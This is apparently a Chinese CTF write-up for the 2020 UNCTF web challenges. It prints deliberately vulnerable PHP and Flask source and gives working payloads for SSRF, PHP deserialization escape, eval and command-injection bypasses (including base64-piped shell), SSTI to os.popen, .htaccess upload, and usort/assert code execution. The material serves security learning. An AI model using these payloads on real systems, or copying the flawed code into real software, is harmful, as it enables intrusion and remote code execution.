WEB
easy_ssrf
源码
<?php
echo'<center><strong>welc0me to 2020UNCTF!!</strong></center>';
highlight_file(__FILE__);
$url = $_GET['url'];
if(preg_match('/unctf\.com/',$url)){
if(!preg_match('/php|file|zip|bzip|zlib|base|data/i',$url)){
$url=file_get_contents($url);
echo($url);
}else{
echo('error!!');
}
}else{
echo("error");
}
?>
SSRF 返回上级目录,读取文件
payload:?url=unctf.com/../../../../flag
easyunserializ
源码
<?php
error_reporting(0);
highlight_file(__FILE__);
class a
{
public $uname;
public $password;
public function __construct($uname,$password)
{
$this->uname=$uname;
$this->password=$password;
}
public function __wakeup()
{
if($this->password==='easy')
{
include('flag.php');
echo $flag;
}
else
{
echo 'wrong password';
}
}
}
function filter($string){
return str_replace('challenge','easychallenge',$string);
} # 改变序列化中的字符
$uname=$_GET[1];
$password=1;
$ser=filter(serialize(new a($uname,$password)));
$test=unserialize($ser);
?>
php反序列化字符串逃逸
- 序列化的特点:以 ; 为字段的分隔,以 } 为结尾,并且根据长度判断内容
- 超出部分不会被反序列化成功,说明反序列化的过程是有一定的识别范围的,范围之外都会被自动忽略
- 反序列化时长度不对应会报错
- 可以反序列化不存在的元素
# 过滤后字符增加时
<?php
function lemon($string){
$lemon = '/p/i';
return preg_replace($lemon,'ww',$string);
}
$username = $_GET['a'];
$age = '20';
$user = array($username,$age);
var_dump(serialize($user));
echo "<br>";
$r = lemon(serialize($user));
var_dump($r);
var_dump(unserialize($r));
?>
#### 第一种情况
?a=apple时
string(35) "a:2:{i:0;s:5:"apple";i:1;s:2:"20";}"
<br>
string(37) "a:2:{i:0;s:5:"awwwwle";i:1;s:2:"20";}"
bool(false) ### 报错 不能反序列化
#### 第二种情况
";i:1;s:2:"20";} 16个字符
?a=pppppppppppppppp";i:1;s:2:"20";}时
string(63) "a:2:{i:0;s:32:"pppppppppppppppp";i:1;s:2:"20";}";i:1;s:2:"20";}"
<br>string(79) "a:2:{i:0;s:32:"wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww";i:1;s:2:"20";}";i:1;s:2:"20";}"
array(2) {
[0]=>
string(32) "wwwwwwwwwwwwwwwwwwwwwwwwwwwwwwww"
[1]=>
string(2) "20"
} ### 成功反序列化
# 过滤后字符串减少时
<?php
function str_rep($string){
return preg_replace( '/lemon|shy/','', $string);
}
$test['name'] = $_GET['name'];
$test['sign'] = $_GET['sign'];
$test['number'] = '2020';
$tt=serialize($test);
echo($tt);
echo '<br>';
$temp = str_rep($tt);
echo($temp);
echo'<br>';
$fake = unserialize($temp);
var_dump(($fake));
?>
# 第一种情况
name=lemon&sign=gogogo
a:3:{s:4:"name";s:5:"lemon";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
a:3:{s:4:"name";s:5:"";s:4:"sign";s:6:"gogogo";s:6:"number";s:4:"2020";}
bool(false) #lemon被替换 无法反序列化
#第二种情况
name=pika&sign=";s:6:"number";s:4:"2020";}
a:3 {s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
a:3:{s:4:"name";s:4:"pika";s:4:"sign";s:27:"";s:6:"number";s:4:"2020";}";s:6:"number";s:4:"2020";}
array(3) { ["name"]=> string(4) "pika" ["sign"]=> string(27) "";s:6:"number";s:4:"2020";}" ["number"]=> string(4) "2020" }
#第三种情况
name=shyshyshyshyshyshyshyshyshy&sign=hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}
a:3:{s:4:"name";s:27:"shyshyshyshyshyshyshyshyshy";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
a:3:a:3:{s:4:"name";s:27:"";s:4:"sign";s:57:"hello123";s:4:"sign";s:4:"eval";s:6:"number";s:4:"2000";}";s:6:"number";s:4:"2020";}
array(3) { ["name"]=> string(27) "";s:4:"sign";s:57:"hello123" ["sign"]=> string(4) "eval" ["number"]=> string(4) "2000" }
payload:changechangechangechangechangechangechange";s:8:"password";s:4:"easy";}
babyeval
<?php
// flag在flag.php
if(isset($_GET['a'])){
if(preg_match('/\(.*\)/', $_GET['a']))
die('hacker!!!');
ob_start(function($data){
if (strpos($data, 'flag') !== false)
return 'ByeBye hacker';
return false;
});
eval($_GET['a']);
} else {
highlight_file(__FILE__);
}
?>
payload: ?a=echo `cat flag.php|base64`; # 注意最后需要引号,这样是完整的php代码
ezphp
<?php
show_source(__FILE__);
$username = "admin";
$password = "password";
include("flag.php");
$data = isset($_POST['data'])? $_POST['data']: "" ;
$data_unserialize = unserialize($data);
if ($data_unserialize['username']==$username&&$data_unserialize['password']==$password){
echo $flag;
}else{
echo "username or password error!";
}
php反序列化 弱等于
payload: a:2:{s:8:"username";b:1;s:8:"password";b:1;}
flag.php里面将username与password修改了因此不能直接序列化
看代码感觉能直接序列化,但是结果就是不行,才尝试这个方法
easy_upload
本题禁止文件中出现某些字符,并且禁止了某些文件名
使用 .htaccess 攻击 经过测试发现.htaccess可以上传
*** .htaccess 文件内容可以换行输入
*** 一句话木马也可以简化
easyflask
预备知识SSTI
开始时由于没有学ssti导致一头雾水,网上乱扒payload,结果显然失败(还是自己认真学一下吧)
预备知识
- SSTI的解题步骤:找基本类—->找子类—->找可利用的子类模板
本题过滤了[] ‘ ‘ “” __
使用 |attr(request.args.value) 绕过
首先查看基本类
原来的语句:{{''.__class__.base__}}
绕过语句:{{()|attr(request.args.class)|attr(request.args.base)}}&class=__class__&base=__base__
找子类
原句:{{''.__class__.base__.__subclasses__()}}
绕过:{{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()}}&class=__class__&base=__base__&sub=__subclasses__
选择某一个子类
原句:{{''.__class__.__base__.__subclasses__()[199]}}输出第199个
绕过: {{()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(199)}}&&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__
读取flag
原句:{{warnings.catch_warnings.__init__.__globals__['__builtins__']['eval']("__import__('os').popen('cat%20/flag.txt').read()")}}
绕过:{{(()|attr(request.args.class)|attr(request.args.base)|attr(request.args.sub)()|attr(request.args.getitem)(166))|attr(request.args.init)|attr(request.args.globals)|attr(request.args.getitem)(request.args.builtins)|attr(request.args.getitem)(request.args.eval)(request.args.param)}}&class=__class__&base=__base__&sub=__subclasses__&getitem=__getitem__&init=__init__&globals=__globals__&builtins=__builtins__&eval=eval¶m=__import__('os').popen('cat flag.txt').read()
注意细心 千万不要把字母拼错
UN’s_online_tools
命令执行 绕过
?url=127|sort%09index.php
查看flag的位置:?url=127|ls%09../../../../
获取flag:??url=127.0.0|echo%09c29ydCAuLi8uLi8uLi8uLi9mbGFn|base64%09-d|sh
# 使用base64绕过过滤
ezfind
此题很玄学 非预期
L0vephp
此题需要找到正确的入口(?action=)
查看源代码
发现了最后一段为base85编码
此题过滤了base64 所以这里采用 php://filter/convert.quoted-printable-encode/resource=flag.php
获取到了flag.php 再解码
发现flag是假的,并且看见了提示,使用hex解码
访问获得源代码
<?php
error_reporting(0);
show_source(__FILE__);
$code=$_REQUEST['code'];
$_=array('@','\~','\^','\&','\?','\<','\>','\*','\`','\+','\-','\'','\"','\\\\','\/');
$__=array('eval','system','exec','shell_exec','assert','passthru','array_map','ob_start','create_function','call_user_func','call_user_func_array','array_filter','proc_open');
$blacklist1 = array_merge($_);
$blacklist2 = array_merge($__);
if (strlen($code)>16){
die('Too long');
}
foreach ($blacklist1 as $blacklisted) {
if (preg_match ('/' . $blacklisted . '/m', $code)) {
die('WTF???');
}
}
foreach ($blacklist2 as $blackitem) {
if (preg_match ('/' . $blackitem . '/im', $code)) {
die('Sry,try again');
}
}
@eval($code);
?>
目前做到这里就不会了 , 先空着等之后去学习一下大佬的wp
利用变长参数特性展开数组
变长参数是PHP5.6新引入的新特性,php中可以使用func(...$arr)这样的方式将$arr数组展开成多个参数传入func函数
传入样例:
POST /test.php?1[]=test&1[]=var_dump($_SERVER);&2=assert HTTP/1.1
Host: localhost:8081
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 22
param=usort(...$_GET);
usort() 使用用户定义的比较函数对数组进行排序
usort(array,myfunction) array 必须填写,规定需要排序的数组
myfunction 可选,定义了一个可调用的比较函数的字符串
GET变量被展开成为了两个参数['test','var_dump($_SERVER)'] 和 assert 传入了usort函数。usort函数的第二个参数是一个回调函数assert,其调用了第一个参数的var_dump($_SERVER),即可执行函数。
开始解题
获取flag 直接使用 cat /f*